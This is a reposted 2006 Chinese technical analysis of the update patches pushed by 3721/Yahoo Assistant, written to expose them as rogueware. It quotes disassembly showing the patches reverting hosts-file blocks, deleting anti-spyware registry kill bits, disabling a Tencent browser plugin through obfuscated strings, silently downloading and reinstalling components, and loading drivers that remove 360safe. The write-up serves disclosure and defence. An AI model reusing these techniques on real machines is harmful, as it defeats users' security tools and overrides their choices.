3721(雅虎助手)两年来的流氓升级史

互联网 | 编辑: 杨剑锋 2006-10-12 09:00:00转载 返回原文


      =================================

注意:此文为技术分析,不带任何偏向立场

由本文反汇编某厂商的病毒文件或曰恶意竞争文件而导致的

任何法律问题,本人一概不负责 by MJ0011

=================================

刚才分析了Yahoo上网助手的34号patch包,找到一些同360安全卫士PK的有意思的东西,便对上网助手的patch感兴趣起来了,想看看之前的33个patch包都是干了什么事呢?其中patch03,04,05,06,09,10,11,16,18,22,07,24,25,26,28,29,32可以下载

其他编号的想必是迫于压力又或是某些不可告人的原因

被撤消了(就象之前分析的patch34) 所以无法下载

patch最早从04年02月01日开始

最新的patch是06年10月10日

见证了3721及其附属产品2年多的流氓史

那么挨个看一下他们分别都干了些什么:

<1>.

03号patch:

日期 01/02/04 13:38:49(注:时间格式:月/日/年,直接从flashget上复制过来的)

主要是对system32driversetchosts也就是系统hosts文件进行恶意篡改,将其 中对3721.net,3721.com的屏蔽修改回来

主要代码截取如下:

push ebx ; FILE *

push 1 ; size_t

push esi ; size_t

push edi ; void *

call ds:fread

and byte ptr [edi+esi], 0

push edi

call sub_1000222B

mov esi, ds:strstr

mov ebx, offset s__3721_com ; ".3721.com"

; x

push ebx ; char *

push edi ; char *

call esi ; strstr

add esp, 1Ch

test eax, eax

jz short loc_100021C8

loc_100021C8: ; ".3721.net"

mov ebx, offset s__3721_net

push ebx ; char *

push edi ; char *

call esi ; strstr

pop ecx

test eax, eax

pop ecx

jz short loc_100021EF

;以上是恢复3721.com和3721.net的屏蔽

loc_100022A7:

push 0

call sub_10002331

test eax, eax

pop ecx

jz short loc_100022BA

offset s_System32Drive ; "system32driversetchosts"

jmp short loc_100022BF

;此处判断操作系统版本并取得不同版本windwos的hosts文件路径

<2>.

04号patch:

日期 01/18/04 10:38:24

04号patch带了一个patch41.dat

该patch和patch34一样,同样会将自己自毁

且代码完全一样

patch41.dat是个加密了的文件,算法有点古怪,我估计是类似“竞争对手网站屏蔽表这样的东西”

<3>.

05号patch

日期 04/22/04 15:07:35

更新一个clsid

<4>.

06号patch

日期 05/13/04 09:58:10

删除SOFTWAREMicrosoftInternet ExplorerActiveX Compatibility下的如下几个键值:

'{B83FC273-3522-4CC6-92EC-75CC86678DA4}'=3721网络实名模块cnsmin.dll

'{4522DBFE-14CD-4A59-AC2A-54BADFDD6D53}'=3721网络实名

'{1B0E7716-898E-48CC-9690-4E338E8DE1D3}'=3721上网助手模块ASSIST.DLL

'{7CA83CF1-3AEA-42D0-A4E3-1594FC6E48B2}'=3721上网助手模块autolive.dll

'{4EDBBAEA-F509-49F6-94D1-ECEC4BE5B686}'=3721中文邮

'{8D898B17-976D-44c1-84E6-AF38842AC9EC}'=3721升级包模块

     

用于恢复类似 恶意软件清理助手,360SAFE,OPIEA,优化大师等在注册表中对3721部分产品的 插件屏蔽

导致屏蔽失效!

删除屏蔽插件的部分代码:

.data:10002197 loc_10002197:

.data:10002197 push dword ptr [edi]

.data:10002199 lea eax, [ebp+pszSubKey]

.data:1000219F push offset s_SoftwareMicro ; "SOFTWAREMicrosoftInternet ExplorerActiveX Compatibility"

.data:100021A4 push offset s_SS ; "%s%s"

.data:100021A9 push 103h ; size_t

.data:100021AE push eax ; char *

.data:100021AF call ds:_snprintf

.data:100021B5 add esp, 14h

.data:100021B8 lea eax, [ebp+pszSubKey]

.data:100021BE push eax ; pszSubKey

.data:100021BF push 80000002h ; hkey

.data:100021C4 call ds:SHDeleteKeyA

.data:100021CA inc esi

.data:100021CB add edi, 4

.data:100021CE cmp esi, dword_10002028

.data:100021D4 jl short loc_10002197

.data:100021D4

.data:100021D6

.data:100021D6 loc_100021D6:

.data:100021D6 pop edi

.data:100021D7 xor eax, eax

.data:100021D9 pop esi

.data:100021DA leave

.data:100021DB retn

<5>.

09号patch

似乎是一个check模块

检查3721部件是否正常(校验码是否正确)

否则会从3721的网站download安装程序重新安装

(url=http://user.3721.com/soft/patch09.htm?fb=0

和http://user.3721.com/soft/patch09.htm?fb=1

)

(可能针对某些清理软件的破坏)

<6>.

10号patch

日期 12/10/04 11:07:21

同样是一个check模块

会检查3721的组件是否正常,若被破坏,则自动释放出patch10.exe(包含在DLL资源中)并执行

部分代码:

push offset s_SAssist3721 ; "%sassist3721"

lea eax, [ebp+var_568]

push edi ; size_t

push eax ; char *

call ebx ; _snprintf

push esi

push offset s_SAssistRepair ; "%sassistrepair.dll"

lea eax, [ebp+pszPath]

push edi ; size_t

push eax ; char *

call ebx ; _snprintf

add esp, 20h

lea eax, [ebp+pszPath]

push eax ; pszPath

call ds:PathFileExistsA

;检查上面几个dll是否存在

test eax, eax

jz loc_100022D3

lea eax, [ebp+Buffer]

push eax

push offset s_SPatch10_exe ; "%spatch10.exe"

lea eax, [ebp+FileName]

push edi ; size_t

push eax ; char *

call ebx ; _snprintf

add esp, 10h

lea eax, [ebp+FileName]

push eax ; lpFileName

...............

................

lea eax, [ebp+hObject]

push eax ; lpProcessInformation

lea eax, [ebp+StartupInfo]

push eax ; lpStartupInfo

push esi ; lpCurrentDirectory

push esi ; lpEnvironment

push esi ; dwCreationFlags

push esi ; bInheritHandles

push esi ; lpThreadAttributes

lea eax, [ebp+CommandLine]

push esi ; lpProcessAttributes

push eax ; lpCommandLine

push esi ; lpApplicationName

call ds:CreateProcessA

;执行patch10.exe

cmp [ebp+hObject], esi

mov edi, ds:CloseHandle

jz short loc_100022C9

;释放并执行patch10.exe

patch10.exe实际上是一个downloader(下载者),会从

http://download.3721.com/download/asrepair.cab?t=%d

下载3721恢复包 恢复被清除的3721

<7>.11号patch

日期 06/17/05 12:22:42

该patch启动后会使用rundll32.exe加载自己

创建一个名为3721CNSINSTSHELL_INSTALLMUTEX_PATCH11的互斥对象

然后释放出一个cab文件,里面是压缩后的wmpns.dll,查了一下,是3721反间谍专家的一个附属 的dll,有恶意软件性质

并会将CNS的Setup程序写入runonce键值(重启后安装CNS网络实名)

将cnsAutoUpdate写入注册表Run键值(每次开机自动执行更新程序)

     

部分代码:

push offset s_Rundll32_exeS ; "Rundll32.exe %s,RundllEx"

;安装程序,使用rundll32调用

push 104h ; size_t

push ecx ; char *

call ebx ; _snprintf

lea edi, [esp+754h+pvData]

or ecx, 0FFFFFFFFh

xor eax, eax

add esp, 10h

repne scasb

not ecx

dec ecx

lea edx, [esp+744h+pvData]

push ecx ; cbData

push edx ; pvData

push 1 ; dwType

push offset s_Setup ; "Setup"

push offset s_SoftwareMic_2 ; "SoftwareMicrosoftWindowsCurrentVersi"...

;写入runonce键值

push 80000002h ; hkey

call ds:SHSetValueA

mov esi, 1

<8>.16号patch

16号patch是个非常有意思的东西,它会把这个注册表键值设为"no"

HKCUSoftwareTencentTBHEnableTBH

用来打击腾讯的BHO

将腾讯的浏览器插件设为禁止后

该patch将自毁

为了防止别人发现它修改tencent的键值以带来不必要的麻烦,该PATCH中对注册表部分的读写是 加密了的

(呵呵,看了这个之后腾讯会不会去找YAHOO的麻烦呢?)

代码如下:

mov esi, offset s_A709ce5ce8561 ; "A709CE5CE8561FEDE4"

lea edi, [ebp+pszValue]

movsd

movsd

movsd

movsd

movsw

movsb

push 3Ch

xor eax, eax

pop ecx

lea edi, [ebp+var_F5]

rep stosd

stosb

push 0Ah

mov esi, offset s_B108c94af3523 ; "B108C94AF35239CAF0C2B5588CFFD3B4DB1B2FC"...

pop ecx

lea edi, [ebp+pszSubKey]

rep movsd

movsb

push 36h

xor eax, eax

pop ecx

lea edi, [ebp+var_1E3]

rep stosd

stosw

stosb

mov esi, 82h

lea eax, [ebp+pszValue]

push esi ; int

push eax ; char *

call sub_10001067

lea eax, [ebp+pszSubKey]

push esi ; int

push eax ; char *

call sub_10001067

mov esi, offset s_No ; "no"

lea edi, [ebp+pvData]

movsw

movsb

push 40h

xor eax, eax

pop ecx

lea edi, [ebp-411h]

rep stosd

stosb

lea eax, [ebp+pvData]

push eax ; char *

call strlen

add esp, 14h

push eax ; cbData

lea eax, [ebp+pvData]

push eax ; pvData

lea eax, [ebp+pszValue]

push 1 ; dwType

push eax ; pszValue

lea eax, [ebp+pszSubKey]

push eax ; pszSubKey

push 80000001h ; hkey

call ds:SHSetValueA

其中sub_10001067子程序就是将B108C94AF35239CAF0C2B5588CFFD3B4DB1B2FC与 A709CE5CE8561FEDE4进行解密,从而得到HKCUSoftwareTencentTBHEnableTBH这个注册表路 径

然后对其写入键值:no

起到禁止腾讯bho的作用

更有意思的是 我发现了一篇文章:《!腾讯流氓覆灭记!》其中所说的方法和这个patch完全一致,呵呵 不知两者有何关联

<9>.18号patch

日期 09/23/05 14:44:46

加载2005年的yahoo流氓部分插件:zsmod.dll

这是个3721上网助手卸载后不会完全删除的组件

    

具体可见那篇著名的<<全面剖析3721及上网助手>>

<10>.22号patch

日期 12/19/05 13:51:49

主要用于从http://download.3721.com/download/CnsMin.cab这个地址download一个cnsmin.cab并安装

也就是自动安装网络实名

没什么新东西,代码就不列了

<11>.07号patch

日期 08/06/04 14:43:07

与04号patch基本一样

只是所带的.dat文件有所更改

自毁

<12>.24号patch

日期 01/25/06 13:28:54

该patch只有一个字节0x20

估计是被丢弃的一个patch

<13>.25号patch

日期 04/24/06 03:41:54

又是一个下载者

会下载:

http://download.3721.com/download/cnsdtu.cab

http://download.3721.com/download/keepmainM.cab

这两个3721相关产品并自动安装之

<14>.26号patch

日期 05/11/06 12:31:19

和25号patch基本一致,还是下载者

会下载:

http://download.3721.com/download/cnsdtu.cab

这个3721相关产品并自动安装之

<15>.28号patch

日期:无

不知道为什么,是一个0字节文件

可能被丢弃

<16>.29号patch

日期 10/10/06 11:46:57

这是为数不多的有意思的patch之一....

资源里有这两个有意思的路径:

1.

d:doworkCnsPatchpatch29sysReleasehack.pdb

(自己承认是hack别人东西的驱动~)

2.

e:mywork360safesrcantidriver

360safe的anti driver(反3721,中搜等的一些流氓驱动的占坑驱动)

特点:

1.自毁

2.删除360SAFE的驱动/注册表项

3.释放并注册一个在boot时会加载的驱动,与360safe的pnp占坑驱动进行PK,看谁加载得快,就把谁给删了(如果那之前360SAFE的服务键值还没被删的话)

<17>.32号patch

日期 09/22/06 09:19:36

会干掉很棒小秘书:P

包括hbhelper.dll,tbhelper.dll,hbclient,启动项,就连“很棒小秘书.lnk"也不放过...(流氓自个打架...)

会释放一个hack驱动,不过不会以BOOT方式加载

<18>.34号驱动

在之前的文章里有分析:

http://www.cnbeta.com/modules.php?name=News&file=article&sid=16531

== Yahoo上网助手自杀式破坏360safe的程序代码分析

完了

分析这多,累死偶也...后面几个懒得列代码了

偶把3721的老底给揭了...不知道某厂商会不会派杀手追杀偶...

其中还涉及到yahoo与tencent,很棒,360间PK,争夺客户端...

因为匆匆分析这18个文件,又都是静态分析...所以估计难免会有错误...还请高手指正...

返回原文

本文导航

相关阅读

每日精选

点击查看更多

首页 手机 数码相机 笔记本 游戏 DIY硬件 硬件外设 办公中心 数字家电 平板电脑